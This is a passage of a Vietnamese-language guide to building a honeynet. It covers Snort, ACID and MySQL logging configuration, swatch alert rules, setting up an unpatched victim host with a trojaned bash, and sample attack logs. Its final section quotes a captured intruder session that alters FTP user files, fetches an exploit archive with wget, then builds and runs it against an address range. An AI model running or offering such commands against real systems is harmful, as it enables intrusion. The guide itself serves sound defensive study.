và TCP wrappers cho các điều khiển truy cập mạng, một con số rất nhỏ những người sử dụng, và cài đặt
nhỏ gọn nhất làm cho hệ thống thực sự dễ bảo vệ.
ACID và Snort yêu cầu một cơ sở dữ liệu để lưu trữ và hiển thị một cách hình ảnh những dữ liệu các cuộc
tấn công, để làm điều này, hãy cài đặt MySQL (được tích hợp sẵn trong Red Hat). Nếu bạn không muốn
truy cập tới những dữ liệu được chụp lại đó, hãy bỏ qua phần cơ sở dữ liệu này. Nếu muốn có thể truy xuất
cơ sở dữ liệu qua web thì cần phải cài đặt PHP và Apache web server. Phải chắc chắn rằng thiết bị IDS
phải được bổ sung bằng những bản update mới nhất từ Red Hat.com, bởi vì một vài thành phần mà chúng
ta phải sử dụng mới có (chẳng hạn như PHP).
Cấu hình Snort sử dụng file cấu hình như được chỉ ra dưới đây. Ví dụ này sẽ miêu tả sự thay đổi từ Snort
mặc định file 1.8.x /etc/snort/snort.conf được thiết kế cho honeypots. Đặc điểm chính là ghi nhận lại tất cả
những truyền thông, logging lớn nhất và những dấu hiệu tấn công lớn nhất.
output alert_syslog: LOG_AUTH LOG_ALERT
output log_tcpdump: snort.log
output database: log, mysql, user=snort dbname=snort_db host=localhost
output alert_full: snort_full
output alert_fast: snort_fast
# Logging tcp
log tcp any any $HOME_NET any (msg: "Unmatched TCP";session: printable;)
# Logging udp
log udp any any $HOME_NET any (msg: "Unmatched UDP";session: printable;)
# Logging icmp
log icmp any any $HOME_NET any (msg: "Unmatched ICMP";session: printable;)
Phần còn lại để như file cấu hình mặc định.
Trước khi Snort có thể log vào cơ sở dữ liệu, bạn phải thao tác thêm một vài bước xác định. Những bước
này được miêu tả trong file README.mysql đi kèm với Snort. Tạo lập cơ sơ dữ liệu, tiến hành theo schema
và nhiều hơn nữa, tất cả đều được thực hiện thông qua những script đi kèm. Không cần phải có kinh
nghiệm đói với cơ sở dữ liệu.
Sau đó, thiết lập ACID như sau:
1. Download phần cài đặt từ ACID web site (
2. Giải nén ACID vào 1 thư mục có thể truy nhập được bằng your web server (như /var/www/html/acid trên
Red Hat Linux).
3. Phải chắc chắn rằng những phần mềm yêu cầu đã tồn tại trên máy. Cơ sở dữ liệu MySQL database,
PHP, và một Apache web server là những thành phần được yêu cầu và thưồng có sẵn trong Linux.
4. Phát triển những thư viện cần thiết từ những website (ADOdb, PHPlot, GD, và JPGraph. Hãy tìm chúng
qua )
5. Thay đổi file acid_conf.php trong thư mục ACID để chỉ ra vị trí chính zác của các thư viện đó. Một số
thông số cần điều chỉnh lại là $Dbtype, $alert_dbname, $alert_host, $alert_port, $alert_user, và
$alert_password.
6. Mở web browser và chạy Sau đó, chạy ACID lần đầu
tiên. Phần mềm sẽ hỏi 1 vài cấu hình cần làm, hãy theo những chỉ dẫn đó. Sự thay đổi đạt được bằng cách
nhấn vào một số nút lện trên trang đó, chẳng hạn như "Create ACID AG".
7. Nếu có sự kiện gì xảy ra trong cơ sở dữ liệu snort, nó sẽ được hiển thị thông qua ACID console.
Hướng dẫn cài đặt chi tiết được cung cấp tại ACID web site.
Bây giờ chúng ta sẽ phát triển swatch (một công cụ giám sát log thời gian thực). Swatch được cấu hình như
sau:
watchfor /snort/
echo red
throttle 05:00
# mail alert to admin
mail addressess=anton,subject=--- Snort IDS Alert ---
### Connection TO the pot! We are being probed
watchfor /INBOUND/
echo green
throttle 05:00
# mail alert to me
mail addressess=anton,subject=--- Pot probed ---
### Firewall discovery attempted! Good attacker is IN!
watchfor /TRY TO FW/
echo red
throttle 10:00
# mail alert to me
mail addressess=anton,subject=--- FW probed ---
Cuối cùng, bạn kết thúc với 1 thiết bị mà ghi lại tất cả các truyền thông (như snort) và cảnh báo trên các
cuộc tấn công (Snort), lưu trữ tất cả các cảnh báo trong cơ sở dữ liệu (MySQL), và cho phép truy cập từ xa
qua giao diện web tới cơ sở dữ liệu để tìm kiếm và đồ họa (ACID). Những thiết bị này được cấu hình giống
nhau trên cả honeypot GenI và GenII bởi vì mọi sự khác nhau chỉ diễn ra trên việc cài đặt firewall.
20.2.1.3 Cài đặt máy Victim:
Bước tiếp theo của bạn là cấu hình 1 máy victim. Trong ví dụ của chúng tôi, máy victim được mặc định là
Red Hat server. Bạn hãy cố gắng để có bản mới nhất của victim, chẳng hạn như Red Hat 7.1, để chắc chắn
rằng những hiểm họa về an toàn không làm việc trên những phiên bản cũ. Tuy nhiên, những update của
phiên bản cũ đã bị hack thông qua FTP, HTTP, BIND, hoặc SSH, được cung cấp bởi nhà phân phối lại
không được cài đặt (bởi vì nó là 1 honeypot). Đây là các bước trực tiếp để cài đặt 1 máy victim:
1. Đầu tiên, sử dụng công cụ sterilize để xóa bỏ 1 cách tin tưởng những phần còn lại của người sử dụng
máy trước đó. Những công cụ đó có thể tìm thấy tại Cho đĩa
vào, trả lời những câu hỏi đơn giản và mọi thứ sẽ được hoàn toàn xóa khỏi máy của bạn.
2. Cài đặt server, sử dụng 1 trong những địa chỉ IP (như172.16.1.1), và đặt tên cho máy và nếu cần thiết đặt
cả domain.
3. Phải chắc chắn rằng những dịch vụ như FTP, HTTP/HTTPS, POP3, SSH, DNS, NTP, SMTP, SNMP,
web cache, telnet, NFS, SMB, và những thứ khác được bắt đầu bằng cách sử dụng các file cấu hình của
chúng. Mỗi dịch vụ được bắt đầu trong 1 xinetd daemon. Vào /etc/xinetd.d và thay đổi "disabled=yes" thành
"disabled=no" trong những file có chứa nó. Để khởi động tất cả những dịch vụ khác (chẳng hạn như web
server), hãy thêm vào những script khởi động thích hợp trong rc.local. Ví dụ, đối với 1 web server,
/etc/rc.d/init.d/httpd bắt đầu vào trong /etc/rc.local. Cài đặt thêm những network daemons cần thiết.
4. Thay thế bash bằng Trojaned bash sử dụng những bản vá honeynet từ website của dự
án:(
Theo chỉ dẫn được cung cấp trong bản vá để cấu hình và ứng dụng nó. Sau khi phát triển shell trên máy
victim, hãy gỡ bỏ những shell khác (như tcsh và ash) với lệnh rpm -e Trojan bash chuyển những thay đổi từ
tất cả những kẻ tấn công đối với bạn. Thực tế rằng Trojan bash không nghe ngóng ở những phần thiết yếu
của attacker, nó không hiệu quả cho những người dùng honeynet tình cờ. Đối với những honeynet phát
triển hơn, những người phát triển dự án lựa chọn những sniffer chuyển đổi sebek. Chương trình này được
giấu trong hệ thống victim và được chuyển ngầm tới các lệnh. Sự giao tiếp này không thể bị sniff từ thiết bị
victim.
5. Nếu bạn muốn, cài đặt và chạy Tripwire. Chúng tôi thích cài đặt Tripwire theo mặc định và cũng chạy
AIDE từ 1 đĩa mêmd. Theo cách này, bạn có thể tìm kiếm những kẻ tấn công trong nỗ lực xâm nhập vào dữ
liệu Tripwire (chuyện này vẫn chưa bao giờ xảy ra với chúng tôi, nhưng chúng tôi hi vọng nó sẽ xảy ra) bởi
vì AIDE cung cấp 1 cách đáng tin tưởng để chỉ ra những file đã được thay đổi.
Đó là những gì bạn phải làm, và bạn đã thiết lập xong một hệ thống victim.
20.2.1.4 Bước cuối cùng:
Liên kết các thiết bị trên với nhau như hình Figure 20-1, nhưng không kết nối chúng với internet vội. Kiểm
tra để đảm bảo rằng IDS ghi nhận được tất cả những truyền thông và gửi cảnh báo khi xuất hiện những kết
nối từ máy firewall tới máy victim. Đồng thời bạn cũng phải chắc chắn rằng những keystrok đều được bắt
giữ. Sau đó kết nối hệ thống tới những điểm truy cập internet và chờ đợi những kẻ tấn công, những worm.
Lúc này bạn đã chính thức đứng trong những người làm honeynet.
20.3 Nắm bắt những cuộc tấn công:
Một khi hệ thống honeynet của bạn tồn tại, chuyện gì sẽ xảy ra tiếp theo? Bạn sẽ đi vào 1 trong những
trường hợp được chỉ ra sau đây. Đây là những khả năng (được báo cáo bởi iptables firewall):
Jun 25 18:14:47 fw kernel: INBOUND: IN=eth0 OUT=eth1 SRC=E.V.I.L DST=H.O.N.EY LEN=48
TOS=0x00 PREC=0x00 TTL=113 ID=48230 DF PROTO=TCP SPT=2934 DPT=21 WINDOW=8192
RES=0x00
SYN URGP=0
Ví dụ này là 1 khai thác thành công (do snort báo cáo):
06/25-18:15:03.586794 [**] [1:1378:7] FTP wu-ftp file completion attempt { [**]
[Classification: Misc Attack] [Priority: 2] {TCP} 63.161.21.75:3976 -> 10.1.1.2:21
Đây là 1 hệ thống đã bị sở hữu (do snort báo cáo):
Jun 25 18:017:38 ids snort: [1:498:3] ATTACK RESPONSES id check returned root
[Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} 10.1.1.2:21 ->
63.161.21.75:3977
Ví dụ tiếp theo, kẻ tấn công sử dụng command-session để kiểm tra có những ai trên hệ thống, bảo vệ nó và
nhận những bước quét hệ thống để xâm nhập của anh ta, và bắt đầu tìm kiếm những lỗ hổng khác để khai
thác (đây thực sự là 1 phiên capture nhưng địa chỉ web đã được thay đổi):
w
ls
cd /dev/ida
ls
echo "anonymous" >> /etc/users
echo "ftp" >>/etc/ftpusers
echo "anonymous" >>/etc/ftpusers
echo "anonymous" >> /etc/user
wget www.geocities.com/replaced_for_privacy/awu.tgz
tar zxvf awu.tgz
cd aw
make
./awu 63.190
Một lưu ý rất thú vị rằng bằng cách sử cd /dev/ida; ls kẻ tấn công kiểm tra những rootkit của anh ta đã cài
đặt lên hệ thống. Anh ta cũng thực hiện những thao tác củng cố hệ thống đơn giản để ngăn chặn những kẻ
khai thác khác cũng giống như anh ta (chẳng hạn như không cho phép những truy cập FTP tới những lỗ
hổng nhất định). Kỹ thuật này là một trong những chuẩn luyện tập mới của những script kiddies.
Các file đính kèm theo tài liệu này:
- Honeypots.pdf